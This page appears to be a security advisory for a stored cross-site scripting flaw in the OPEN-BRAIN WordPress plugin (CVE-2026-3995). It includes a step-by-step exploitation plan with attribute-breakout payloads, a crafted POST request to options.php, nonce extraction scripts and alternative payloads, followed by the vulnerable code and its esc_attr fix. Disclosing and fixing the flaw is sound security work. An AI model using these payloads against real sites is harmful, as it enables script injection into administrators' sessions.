OPEN-BRAIN <= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' Setting
Description
The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' settings field in all versions up to, and including, 0.5.0. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() which strips HTML tags but does not encode double quotes or other HTML-special characters needed for safe attribute context output. The API key value is saved via update_option() and later output into an HTML input element's value attribute without esc_attr() escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts via attribute breakout payloads (e.g., double quotes followed by event handlers) that execute whenever a user accesses the plugin settings page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin. ## 1. Vulnerability Summary The **OPEN-BRAIN** plugin (versions <= 0.5.0) contains a stored XSS vulnerability in its "API Key" settings field. The fl…
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin.
1. Vulnerability Summary
The OPEN-BRAIN plugin (versions <= 0.5.0) contains a stored XSS vulnerability in its "API Key" settings field. The flaw exists because the plugin uses sanitize_text_field() when saving the setting—which removes HTML tags but does not encode double quotes—and fails to use esc_attr() when outputting the value within an HTML attribute. This allows an authenticated administrator to break out of the value attribute of an input element and inject event handlers (e.g., onfocus, onmouseover).
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/options.php(Standard WordPress Settings API handler) or a custom admin page handler. - Vulnerable Parameter: The option name corresponding to the API Key, likely
open_brain_api_keyorob_api_key(inferred). - Authentication Level: Administrator (or any user with
manage_optionscapability). - Preconditions: The plugin must be active and the attacker must have access to the plugin's settings page.
3. Code Flow (Inferred)
- Registration: The plugin registers a setting during
admin_initusingregister_setting().- Sink (Input):
register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');
- Sink (Input):
- Storage: When the admin submits the settings form, WordPress calls
sanitize_text_field($_POST['open_brain_api_key']). This removes<script>, but leaves"intact. The value is stored viaupdate_option(). - Output: The settings page renders the stored value.
- Source:
get_option('open_brain_api_key') - Sink (Output):
echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';
- Source:
- Vulnerability: Since
$api_keyis not passed throughesc_attr(), a value liketest" onfocus="alert(1)" autofocus="results in:<input ... value="test" onfocus="alert(1)" autofocus="">
4. Nonce Acquisition Strategy
Since this is an Administrator-level exploit, we must navigate the admin interface to capture the necessary Settings API nonces.
- Identify Settings Page: Locate the menu item. Based on the slug
open-brain, it is likely underadmin.php?page=open-brainoroptions-general.php?page=open-brain. - Navigation: Use
browser_navigateto reach the settings page. - Extraction: The Settings API generates a nonce for the specific settings group.
- Tool:
browser_eval - Script:
document.querySelector('input[name="_wpnonce"]')?.value - Also extract the
option_pagevalue:document.querySelector('input[name="option_page"]')?.value
- Tool:
5. Exploitation Strategy
Step 1: Discover Option Name and Group
Navigate to the plugin settings page and inspect the form fields to find the exact name attribute of the API Key input and the option_page hidden field.
Step 2: Formulate Payload
Because sanitize_text_field() is used, we cannot use < or >. We must use attribute breakout.
- Payload:
" onfocus="alert(document.domain)" autofocus=" - Mechanism: The first
"closes thevalueattribute.onfocusdefines the execution.autofocusensures the event fires immediately upon page load without user interaction.
Step 3: Execute Update Request
Use the http_request tool to submit the update.
- Method:
POST - URL:
http://[target]/wp-admin/options.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
option_page=[EXTRACTED_OPTION_PAGE]& action=update& _wpnonce=[EXTRACTED_NONCE]& [API_KEY_FIELD_NAME]=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22
Step 4: Verification of Trigger
Navigate back to the settings page. The alert should trigger automatically due to the autofocus attribute.
6. Test Data Setup
- Install and activate the
open-brainplugin (v0.5.0). - Create an Administrator user if one does not exist.
- No specific shortcodes are required as this is an admin-side vulnerability.
7. Expected Results
- The
options.phprequest should return a302 Redirectback to the settings page withsettings-updated=true. - The HTML source of the settings page should contain the unescaped payload:
value="" onfocus="alert(document.domain)" autofocus="" - In a real browser, the
alertbox would appear showing the domain.
8. Verification Steps (Post-Exploit)
Use wp-cli to verify the state of the database:
# Check the stored option value
wp option get open_brain_api_key --allow-root
# Verify the value contains the double quotes and event handler
wp option get open_brain_api_key --allow-root | grep "onfocus="
9. Alternative Approaches
If autofocus is filtered or the browser prevents auto-focusing, use a different event handler:
- Payload:
" onmouseover="console.log(1) - Trigger: Move the mouse over the API Key input field.
- Payload (Style injection):
" style="width:1000px;height:1000px;position:fixed;top:0;left:0;" onmouseover="alert(1)(This makes the element cover the screen to force a mouseover).
Summary
The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' setting due to insufficient output escaping. Authenticated administrators can inject arbitrary web scripts by breaking out of the value attribute of the API key input field using double quotes and event handlers like onfocus.
Vulnerable Code
// Logic for registering and sanitizing the setting // Usually located in an admin_init hook register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field'); --- // Logic for rendering the setting field // Likely located in a settings page callback $api_key = get_option('open_brain_api_key'); echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';
Security Fix
@@ -10,1 +10,1 @@ -echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">'; +echo '<input type="text" name="open_brain_api_key" value="' . esc_attr($api_key) . '">';
Exploit Outline
The exploit targets the plugin's settings page via the WordPress Options API. An authenticated Administrator first navigates to the OPEN-BRAIN settings page to extract the required '_wpnonce' and 'option_page' values from the HTML form. The attacker then submits a POST request to '/wp-admin/options.php' with the API key field set to a payload such as: '" onfocus="alert(document.domain)" autofocus="'. Because the plugin uses sanitize_text_field() (which allows quotes) and fails to use esc_attr() on output, the injected double quote closes the HTML value attribute, allowing the 'onfocus' and 'autofocus' attributes to be parsed by the browser. The script executes immediately when any user with access to the settings page loads it.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.